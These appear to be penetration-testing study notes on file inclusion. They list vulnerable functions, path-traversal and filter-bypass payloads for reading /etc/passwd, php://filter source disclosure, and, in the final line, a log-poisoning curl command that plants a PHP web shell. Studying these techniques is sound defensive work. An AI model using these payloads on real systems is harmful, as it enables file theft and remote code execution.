9. File Inclusion
Vulnerable Functions
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include()/include_once() | ✅ | ✅ | ✅ |
require()/require_once() | ✅ | ✅ | ❌ |
fopen()/file() | ✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() | ✅ | ❌ | ❌ |
fs.sendFile() | ✅ | ❌ | ❌ |
res.render() | ✅ | ✅ | ❌ |
Java | |||
include | ✅ | ❌ | ❌ |
import | ✅ | ✅ | ✅ |
.NET | |||
@Html.Partial() | ✅ | ❌ | ❌ |
@Html.RemotePartial() | ✅ | ❌ | ✅ |
Response.WriteFile() | ✅ | ❌ | ❌ |
include | ✅ | ✅ | ✅ |
use Command Injection to bypass blacklisted charaters
Basic
http://<SERVER_IP>:<PORT>/index.php?language=es.php
Path Traversal
include("./languages/" . $_GET['language']);
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
Filename Prefix
Add / to terminate prefix.
include("lang_" . $_GET['language']);
http://<SERVER_IP>:<PORT>/index.php?language=../../../etc/passwd
Appended Extensions
Search for file with that specific extensions.
include($_GET['language'] . ".php");
The application could search for application with extension.
Basic Bypass
Non-Recursive Path Traversal Filters
Deleting ../
$language = str_replace('../', '', $_GET['language']);
Try
....//
..././
....\/
....////
Encoding
DO URL encode
Approved Paths
Only allow specific path (e.g. ./language)
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
Incorporate the approved path
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
Appended Extension
obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4.
Path Truncation
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored.
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
Null Bytes
PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.
/etc/passwd%00)
PHP Filters
PHP Wrappers
https://www.php.net/manual/en/wrappers.php.php
4 Filters
String
https://www.php.net/manual/en/filters.string.php
Conversion
https://www.php.net/manual/en/filters.convert.php
Compression
https://www.php.net/manual/en/filters.compression.php
Encryption
https://www.php.net/manual/en/filters.encryption.php
Step 1.
Fuzz for different php pages.
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
Step 2
php://filter/read=convert.base64-encode/resource=config
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
contact
error
about
index
main
industries
ilf_admin/index.php
curl 'http://test:36381/ilf_admin/index.php?log==../../../../../../../var/log/nginx/access.log&cmd=id' -H 'User-Agent: <?php system($_GET[\"cmd\"]); ?>'